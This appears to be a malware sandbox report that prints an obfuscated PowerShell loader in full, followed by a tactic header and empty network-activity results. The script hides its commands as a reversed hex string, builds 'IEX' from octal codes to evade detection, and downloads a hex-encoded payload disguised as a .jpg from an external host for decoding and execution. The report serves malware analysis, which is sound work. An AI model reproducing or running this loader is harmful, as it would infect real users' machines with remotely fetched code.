$biLMH='D4@C7@72@72@02@E6@96@F6@A6@D2@02@37@27@16@86@34@96@96@36@37@16@42@02@D3@76@E6@96@27@47@35@96@96@36@37@16@42@B3@D7@22@F5@42@87@03@22@D5@56@47@97@26@B5@D5@27@16@86@36@B5@B7@02@47@36@56@A6@26@F4@D2@86@36@16@54@27@F6@64@C7@02@72@32@72@02@47@96@C6@07@37@D2@02@67@D6@42@02@D3@37@27@16@86@34@96@96@36@37@16@42@B3@92@72@76@07@A6@E2@05@73@F2@F6@27@E2@47@27@56@36@37@57@C6@07@F2@F2@A3@07@47@47@86@72@C2@46@F6@86@47@56@D4@A3@A3@D5@56@07@97@45@C6@C6@16@34@E2@36@96@37@16@24@C6@16@57@37@96@65@E2@47@66@F6@37@F6@27@36@96@D4@B5@C2@72@76@E6@96@27@47@35@46@16@F6@C6@E6@77@F6@44@72@C2@97@47@47@42@82@56@D6@16@E6@97@24@C6@C6@16@34@A3@A3@D5@E6@F6@96@47@36@16@27@56@47@E6@94@E2@36@96@37@16@24@C6@16@57@37@96@65@E2@47@66@F6@37@F6@27@36@96@D4@B5@02@D3@67@D6@42@B3@92@72@36@96@37@16@24@C6@16@57@37@96@65@E2@47@66@F6@37@F6@27@36@96@D4@72@82@56@D6@16@E4@C6@16@96@47@27@16@05@86@47@96@75@46@16@F6@C4@A3@A3@D5@97@C6@26@D6@56@37@37@14@E2@E6@F6@96@47@36@56@C6@66@56@25@E2@D6@56@47@37@97@35@B5@02@D5@46@96@F6@67@B5@B3@D4@C7@72@92@47@E6@56@72@B2@72@96@C6@34@26@72@B2@72@56@75@E2@47@72@B2@72@56@E4@02@47@36@72@B2@72@56@A6@26@F4@72@B2@72@D2@77@56@E4@82@72@D3@97@47@47@42@B3@23@23@07@42@02@D3@02@C6@F6@36@F6@47@F6@27@05@97@47@96@27@57@36@56@35@A3@A3@D5@27@56@76@16@E6@16@D4@47@E6@96@F6@05@56@36@96@67@27@56@35@E2@47@56@E4@E2@D6@56@47@37@97@35@B5@B3@92@23@73@03@33@02@C2@D5@56@07@97@45@C6@F6@36@F6@47@F6@27@05@97@47@96@27@57@36@56@35@E2@47@56@E4@E2@D6@56@47@37@97@35@B5@82@47@36@56@A6@26@F4@F6@45@A3@A3@D5@D6@57@E6@54@B5@02@D3@02@23@23@07@42@B3@92@76@E6@96@07@42@82@02@C6@96@47@E6@57@02@D7@47@56@96@57@15@D2@02@13@02@47@E6@57@F6@36@D2@02@D6@F6@36@E2@56@C6@76@F6@F6@76@02@07@D6@F6@36@D2@02@E6@F6@96@47@36@56@E6@E6@F6@36@D2@47@37@56@47@02@D3@02@76@E6@96@07@42@B7@02@F6@46@B3@56@E6@F6@26@45@42@02@D4@02@C6@16@37@B3@92@72@94@72@C2@72@E3@72@82@56@36@16@C6@07@56@27@E2@72@85@54@E3@72@D3@56@E6@F6@26@45@42';$text =$biLMH.ToCharArray();[Array]::Reverse($text);$tu=-join $text;$jm=$tu.Split('@') | forEach {[char]([convert]::toint16($_,16))};$jm -join ''| & (-Join ((111, 105, 130)| ForEach-Object {( [Convert]::ToInt16(([String]$_ ), 8) -As[Char])})){[char]([convert]::toint16($_,16))}{( [Convert]::ToInt16(([String]$_ ), 8) -As[Char])}$Tbone='>EX'.replace('>','I');sal M $Tbone;do {$ping = test-connection -comp google.com -count 1 -Quiet} until ($ping);$p22 = [Enum]::ToObject([System.Net.SecurityProtocolType], 3072);[System.Net.ServicePointManager]::SecurityProtocol = $p22;$tty='(New-Object Net.WebClient)'|M;[void] [System.Reflection.Assembly]::LoadWithPartialName'Microsoft.VisualBasic';$mv= [Microsoft.VisualBasic.Interaction]::CallByname($tty,'DownloadString',[Microsoft.VisualBasic.CallType]::Method,'http://pluscert.ro/7P.jpg');$asciiChars= $mv -split '#' |ForEach-Object {[char][byte]"0x$_"};$asciiString= $asciiChars -join ''
| Defense Evasion | Discovery | Command and Control | Execution | Privilege Escalation | Initial Access |
|
|
|
|
|---|
No hosts contacted.
No hosts contacted.
No TCP connections recorded.
No UDP connections recorded.
No domains contacted.
No HTTP(s) requests performed.
No SMTP traffic performed.
No IRC requests performed.
No ICMP traffic performed.
No CIF Results
No Suricata Alerts
No Suricata TLS
No Suricata HTTP